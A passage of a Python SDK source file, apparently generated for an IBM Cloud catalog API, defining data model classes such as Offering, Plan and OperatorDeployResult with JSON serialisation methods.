self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'ObjectListResult':
"""Initialize a ObjectListResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [Object.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ObjectListResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ObjectListResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ObjectListResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ObjectListResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ObjectSearchResult():
"""
Paginated object search result.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[ObjectDigest] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['ObjectDigest'] = None) -> None:
"""
Initialize a ObjectSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[ObjectDigest] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'ObjectSearchResult':
"""Initialize a ObjectSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [ObjectDigest.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ObjectSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ObjectSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ObjectSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ObjectSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Offering():
"""
Offering information.
:attr str id: (optional) unique id.
:attr str rev: (optional) Cloudant revision.
:attr str url: (optional) The url for this specific offering.
:attr str crn: (optional) The crn for this specific offering.
:attr str label: (optional) Display Name in the requested language.
:attr str name: (optional) The programmatic name of this offering.
:attr str offering_icon_url: (optional) URL for an icon associated with this
offering.
:attr str offering_docs_url: (optional) URL for an additional docs with this
offering.
:attr str offering_support_url: (optional) URL to be displayed in the
Consumption UI for getting support on this offering.
:attr List[str] tags: (optional) List of tags associated with this catalog.
:attr Rating rating: (optional) Repository info for offerings.
:attr datetime created: (optional) The date and time this catalog was created.
:attr datetime updated: (optional) The date and time this catalog was last
updated.
:attr str short_description: (optional) Short description in the requested
language.
:attr str long_description: (optional) Long description in the requested
language.
:attr List[Feature] features: (optional) list of features associated with this
offering.
:attr List[Kind] kinds: (optional) Array of kind.
:attr bool permit_request_ibm_public_publish: (optional) Is it permitted to
request publishing to IBM or Public.
:attr bool ibm_publish_approved: (optional) Indicates if this offering has been
approved for use by all IBMers.
:attr bool public_publish_approved: (optional) Indicates if this offering has
been approved for use by all IBM Cloud users.
:attr str public_original_crn: (optional) The original offering CRN that this
publish entry came from.
:attr str publish_public_crn: (optional) The crn of the public catalog entry of
this offering.
:attr str portal_approval_record: (optional) The portal's approval record ID.
:attr str portal_ui_url: (optional) The portal UI URL.
:attr str catalog_id: (optional) The id of the catalog containing this offering.
:attr str catalog_name: (optional) The name of the catalog.
:attr object metadata: (optional) Map of metadata values for this offering.
:attr str disclaimer: (optional) A disclaimer for this offering.
:attr bool hidden: (optional) Determine if this offering should be displayed in
the Consumption UI.
:attr str provider: (optional) Provider of this offering.
:attr RepoInfo repo_info: (optional) Repository info for offerings.
"""
def __init__(self,
*,
id: str = None,
rev: str = None,
url: str = None,
crn: str = None,
label: str = None,
name: str = None,
offering_icon_url: str = None,
offering_docs_url: str = None,
offering_support_url: str = None,
tags: List[str] = None,
rating: 'Rating' = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
long_description: str = None,
features: List['Feature'] = None,
kinds: List['Kind'] = None,
permit_request_ibm_public_publish: bool = None,
ibm_publish_approved: bool = None,
public_publish_approved: bool = None,
public_original_crn: str = None,
publish_public_crn: str = None,
portal_approval_record: str = None,
portal_ui_url: str = None,
catalog_id: str = None,
catalog_name: str = None,
metadata: object = None,
disclaimer: str = None,
hidden: bool = None,
provider: str = None,
repo_info: 'RepoInfo' = None) -> None:
"""
Initialize a Offering object.
:param str id: (optional) unique id.
:param str rev: (optional) Cloudant revision.
:param str url: (optional) The url for this specific offering.
:param str crn: (optional) The crn for this specific offering.
:param str label: (optional) Display Name in the requested language.
:param str name: (optional) The programmatic name of this offering.
:param str offering_icon_url: (optional) URL for an icon associated with
this offering.
:param str offering_docs_url: (optional) URL for an additional docs with
this offering.
:param str offering_support_url: (optional) URL to be displayed in the
Consumption UI for getting support on this offering.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param Rating rating: (optional) Repository info for offerings.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str long_description: (optional) Long description in the requested
language.
:param List[Feature] features: (optional) list of features associated with
this offering.
:param List[Kind] kinds: (optional) Array of kind.
:param bool permit_request_ibm_public_publish: (optional) Is it permitted
to request publishing to IBM or Public.
:param bool ibm_publish_approved: (optional) Indicates if this offering has
been approved for use by all IBMers.
:param bool public_publish_approved: (optional) Indicates if this offering
has been approved for use by all IBM Cloud users.
:param str public_original_crn: (optional) The original offering CRN that
this publish entry came from.
:param str publish_public_crn: (optional) The crn of the public catalog
entry of this offering.
:param str portal_approval_record: (optional) The portal's approval record
ID.
:param str portal_ui_url: (optional) The portal UI URL.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object metadata: (optional) Map of metadata values for this
offering.
:param str disclaimer: (optional) A disclaimer for this offering.
:param bool hidden: (optional) Determine if this offering should be
displayed in the Consumption UI.
:param str provider: (optional) Provider of this offering.
:param RepoInfo repo_info: (optional) Repository info for offerings.
"""
self.id = id
self.rev = rev
self.url = url
self.crn = crn
self.label = label
self.name = name
self.offering_icon_url = offering_icon_url
self.offering_docs_url = offering_docs_url
self.offering_support_url = offering_support_url
self.tags = tags
self.rating = rating
self.created = created
self.updated = updated
self.short_description = short_description
self.long_description = long_description
self.features = features
self.kinds = kinds
self.permit_request_ibm_public_publish = permit_request_ibm_public_publish
self.ibm_publish_approved = ibm_publish_approved
self.public_publish_approved = public_publish_approved
self.public_original_crn = public_original_crn
self.publish_public_crn = publish_public_crn
self.portal_approval_record = portal_approval_record
self.portal_ui_url = portal_ui_url
self.catalog_id = catalog_id
self.catalog_name = catalog_name
self.metadata = metadata
self.disclaimer = disclaimer
self.hidden = hidden
self.provider = provider
self.repo_info = repo_info
@classmethod
def from_dict(cls, _dict: Dict) -> 'Offering':
"""Initialize a Offering object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if '_rev' in _dict:
args['rev'] = _dict.get('_rev')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'offering_icon_url' in _dict:
args['offering_icon_url'] = _dict.get('offering_icon_url')
if 'offering_docs_url' in _dict:
args['offering_docs_url'] = _dict.get('offering_docs_url')
if 'offering_support_url' in _dict:
args['offering_support_url'] = _dict.get('offering_support_url')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'rating' in _dict:
args['rating'] = Rating.from_dict(_dict.get('rating'))
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'long_description' in _dict:
args['long_description'] = _dict.get('long_description')
if 'features' in _dict:
args['features'] = [Feature.from_dict(x) for x in _dict.get('features')]
if 'kinds' in _dict:
args['kinds'] = [Kind.from_dict(x) for x in _dict.get('kinds')]
if 'permit_request_ibm_public_publish' in _dict:
args['permit_request_ibm_public_publish'] = _dict.get('permit_request_ibm_public_publish')
if 'ibm_publish_approved' in _dict:
args['ibm_publish_approved'] = _dict.get('ibm_publish_approved')
if 'public_publish_approved' in _dict:
args['public_publish_approved'] = _dict.get('public_publish_approved')
if 'public_original_crn' in _dict:
args['public_original_crn'] = _dict.get('public_original_crn')
if 'publish_public_crn' in _dict:
args['publish_public_crn'] = _dict.get('publish_public_crn')
if 'portal_approval_record' in _dict:
args['portal_approval_record'] = _dict.get('portal_approval_record')
if 'portal_ui_url' in _dict:
args['portal_ui_url'] = _dict.get('portal_ui_url')
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
if 'catalog_name' in _dict:
args['catalog_name'] = _dict.get('catalog_name')
if 'metadata' in _dict:
args['metadata'] = _dict.get('metadata')
if 'disclaimer' in _dict:
args['disclaimer'] = _dict.get('disclaimer')
if 'hidden' in _dict:
args['hidden'] = _dict.get('hidden')
if 'provider' in _dict:
args['provider'] = _dict.get('provider')
if 'repo_info' in _dict:
args['repo_info'] = RepoInfo.from_dict(_dict.get('repo_info'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Offering object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'rev') and self.rev is not None:
_dict['_rev'] = self.rev
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'offering_icon_url') and self.offering_icon_url is not None:
_dict['offering_icon_url'] = self.offering_icon_url
if hasattr(self, 'offering_docs_url') and self.offering_docs_url is not None:
_dict['offering_docs_url'] = self.offering_docs_url
if hasattr(self, 'offering_support_url') and self.offering_support_url is not None:
_dict['offering_support_url'] = self.offering_support_url
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'rating') and self.rating is not None:
_dict['rating'] = self.rating.to_dict()
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'long_description') and self.long_description is not None:
_dict['long_description'] = self.long_description
if hasattr(self, 'features') and self.features is not None:
_dict['features'] = [x.to_dict() for x in self.features]
if hasattr(self, 'kinds') and self.kinds is not None:
_dict['kinds'] = [x.to_dict() for x in self.kinds]
if hasattr(self, 'permit_request_ibm_public_publish') and self.permit_request_ibm_public_publish is not None:
_dict['permit_request_ibm_public_publish'] = self.permit_request_ibm_public_publish
if hasattr(self, 'ibm_publish_approved') and self.ibm_publish_approved is not None:
_dict['ibm_publish_approved'] = self.ibm_publish_approved
if hasattr(self, 'public_publish_approved') and self.public_publish_approved is not None:
_dict['public_publish_approved'] = self.public_publish_approved
if hasattr(self, 'public_original_crn') and self.public_original_crn is not None:
_dict['public_original_crn'] = self.public_original_crn
if hasattr(self, 'publish_public_crn') and self.publish_public_crn is not None:
_dict['publish_public_crn'] = self.publish_public_crn
if hasattr(self, 'portal_approval_record') and self.portal_approval_record is not None:
_dict['portal_approval_record'] = self.portal_approval_record
if hasattr(self, 'portal_ui_url') and self.portal_ui_url is not None:
_dict['portal_ui_url'] = self.portal_ui_url
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
if hasattr(self, 'catalog_name') and self.catalog_name is not None:
_dict['catalog_name'] = self.catalog_name
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata
if hasattr(self, 'disclaimer') and self.disclaimer is not None:
_dict['disclaimer'] = self.disclaimer
if hasattr(self, 'hidden') and self.hidden is not None:
_dict['hidden'] = self.hidden
if hasattr(self, 'provider') and self.provider is not None:
_dict['provider'] = self.provider
if hasattr(self, 'repo_info') and self.repo_info is not None:
_dict['repo_info'] = self.repo_info.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Offering object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Offering') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Offering') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class OfferingSearchResult():
"""
Paginated offering search result.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[Offering] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['Offering'] = None) -> None:
"""
Initialize a OfferingSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[Offering] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'OfferingSearchResult':
"""Initialize a OfferingSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = [Offering.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a OfferingSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this OfferingSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'OfferingSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'OfferingSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class OperatorDeployResult():
"""
Operator deploy result.
:attr str phase: (optional) Status phase.
:attr str message: (optional) Status message.
:attr str link: (optional) Operator API path.
:attr str name: (optional) Name of Operator.
:attr str version: (optional) Operator version.
:attr str namespace: (optional) Kube namespace.
:attr str package_name: (optional) Package Operator exists in.
:attr str catalog_id: (optional) Catalog identification.
"""
def __init__(self,
*,
phase: str = None,
message: str = None,
link: str = None,
name: str = None,
version: str = None,
namespace: str = None,
package_name: str = None,
catalog_id: str = None) -> None:
"""
Initialize a OperatorDeployResult object.
:param str phase: (optional) Status phase.
:param str message: (optional) Status message.
:param str link: (optional) Operator API path.
:param str name: (optional) Name of Operator.
:param str version: (optional) Operator version.
:param str namespace: (optional) Kube namespace.
:param str package_name: (optional) Package Operator exists in.
:param str catalog_id: (optional) Catalog identification.
"""
self.phase = phase
self.message = message
self.link = link
self.name = name
self.version = version
self.namespace = namespace
self.package_name = package_name
self.catalog_id = catalog_id
@classmethod
def from_dict(cls, _dict: Dict) -> 'OperatorDeployResult':
"""Initialize a OperatorDeployResult object from a json dictionary."""
args = {}
if 'phase' in _dict:
args['phase'] = _dict.get('phase')
if 'message' in _dict:
args['message'] = _dict.get('message')
if 'link' in _dict:
args['link'] = _dict.get('link')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'version' in _dict:
args['version'] = _dict.get('version')
if 'namespace' in _dict:
args['namespace'] = _dict.get('namespace')
if 'package_name' in _dict:
args['package_name'] = _dict.get('package_name')
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a OperatorDeployResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'phase') and self.phase is not None:
_dict['phase'] = self.phase
if hasattr(self, 'message') and self.message is not None:
_dict['message'] = self.message
if hasattr(self, 'link') and self.link is not None:
_dict['link'] = self.link
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'version') and self.version is not None:
_dict['version'] = self.version
if hasattr(self, 'namespace') and self.namespace is not None:
_dict['namespace'] = self.namespace
if hasattr(self, 'package_name') and self.package_name is not None:
_dict['package_name'] = self.package_name
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this OperatorDeployResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'OperatorDeployResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'OperatorDeployResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Plan():
"""
Offering plan.
:attr str id: (optional) unique id.
:attr str label: (optional) Display Name in the requested language.
:attr str name: (optional) The programmatic name of this offering.
:attr str short_description: (optional) Short description in the requested
language.
:attr str long_description: (optional) Long description in the requested
language.
:attr object metadata: (optional) open ended metadata information.
:attr List[str] tags: (optional) list of tags associated with this catalog.
:attr List[Feature] additional_features: (optional) list of features associated
with this offering.
:attr datetime created: (optional) the date'time this catalog was created.
:attr datetime updated: (optional) the date'time this catalog was last updated.
:attr List[Deployment] deployments: (optional) list of deployments.
"""
def __init__(self,
*,
id: str = None,
label: str = None,
name: str = None,
short_description: str = None,
long_description: str = None,
metadata: object = None,
tags: List[str] = None,
additional_features: List['Feature'] = None,
created: datetime = None,
updated: datetime = None,
deployments: List['Deployment'] = None) -> None:
"""
Initialize a Plan object.
:param str id: (optional) unique id.
:param str label: (optional) Display Name in the requested language.
:param str name: (optional) The programmatic name of this offering.
:param str short_description: (optional) Short description in the requested
language.
:param str long_description: (optional) Long description in the requested
language.
:param object metadata: (optional) open ended metadata information.
:param List[str] tags: (optional) list of tags associated with this
catalog.
:param List[Feature] additional_features: (optional) list of features
associated with this offering.
:param datetime created: (optional) the date'time this catalog was created.
:param datetime updated: (optional) the date'time this catalog was last
updated.
:param List[Deployment] deployments: (optional) list of deployments.
"""
self.id = id
self.label = label
self.name = name
self.short_description = short_description
self.long_description = long_description
self.metadata = metadata
self.tags = tags
self.additional_features = additional_features
self.created = created
self.updated = updated
self.deployments = deployments
@classmethod
def from_dict(cls, _dict: Dict) -> 'Plan':
"""Initialize a Plan object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'long_description' in _dict:
args['long_description'] = _dict.get('long_description')
if 'metadata' in _dict:
args['metadata'] = _dict.get('metadata')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'additional_features' in _dict:
args['additional_features'] = [Feature.from_dict(x) for x in _dict.get('additional_features')]
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'deployments' in _dict:
args['deployments'] = [Deployment.from_dict(x) for x in _dict.get('deployments')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Plan object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'long_description') and self.long_description is not None:
_dict['long_description'] = self.long_description
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'additional_features') and self.additional_features is not None:
_dict['additional_features'] = [x.to_dict() for x in self.additional_features]
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'deployments') and self.deployments is not None:
_dict['deployments'] = [x.to_dict() for x in self.deployments]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Plan object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Plan') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Plan') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class PublishObject():
"""
Publish information.
:attr bool permit_ibm_public_publish: (optional) Is it permitted to request
publishing to IBM or Public.
:attr bool ibm_approved: (optional) Indicates if this offering has been approved
for use by all IBMers.
:attr bool public_approved: (optional) Indicates if this offering has been
approved for use by all IBM Cloud users.
:attr str portal_approval_record: (optional) The portal's approval record ID.
:attr str portal_url: (optional) The portal UI URL.
"""
def __init__(self,
*,
permit_ibm_public_publish: bool = None,
ibm_approved: bool = None,
public_approved: bool = None,
portal_approval_record: str = None,
portal_url: str = None) -> None:
"""
Initialize a PublishObject object.
:param bool permit_ibm_public_publish: (optional) Is it permitted to
request publishing to IBM or Public.
:param bool ibm_approved: (optional) Indicates if this offering has been
approved for use by all IBMers.
:param bool public_approved: (optional) Indicates if this offering has been
approved for use by all IBM Cloud users.
:param str portal_approval_record: (optional) The portal's approval record
ID.
:param str portal_url: (optional) The portal UI URL.
"""
self.permit_ibm_public_publish = permit_ibm_public_publish
self.ibm_approved = ibm_approved
self.public_approved = public_approved
self.portal_approval_record = portal_approval_record
self.portal_url = portal_url
@classmethod
def from_dict(cls, _dict: Dict) -> 'PublishObject':
"""Initialize a PublishObject object from a json dictionary."""
args = {}
if 'permit_ibm_public_publish' in _dict:
args['permit_ibm_public_publish'] = _dict.get('permit_ibm_public_publish')
if 'ibm_approved' in _dict:
args['ibm_approved'] = _dict.get('ibm_approved')
if 'public_approved' in _dict:
args['public_approved'] = _dict.get('public_approved')
if 'portal_approval_record' in _dict:
args['portal_approval_record'] = _dict.get('portal_approval_record')
if 'portal_url' in _dict:
args['portal_url'] = _dict.get('portal_url')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a PublishObject object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'permit_ibm_public_publish') and self.permit_ibm_public_publish is not None:
_dict['permit_ibm_public_publish'] = self.permit_ibm_public_publish
if hasattr(self, 'ibm_approved') and self.ibm_approved is not None:
_dict['ibm_approved'] = self.ibm_approved
if hasattr(self, 'public_approved') and self.public_approved is not None:
_dict['public_approved'] = self.public_approved
if hasattr(self, 'portal_approval_record') and self.portal_approval_record is not None:
_dict['portal_approval_record'] = self.portal_approval_record
if hasattr(self, 'portal_url') and self.portal_url is not None:
_dict['portal_url'] = self.portal_url
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this PublishObject object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'PublishObject') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'PublishObject') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Rating():
"""
Repository info for offerings.
:attr int one_star_count: (optional) One start rating.
:attr int two_star_count: (optional) Two start rating.
:attr int three_star_count: (optional) Three start rating.
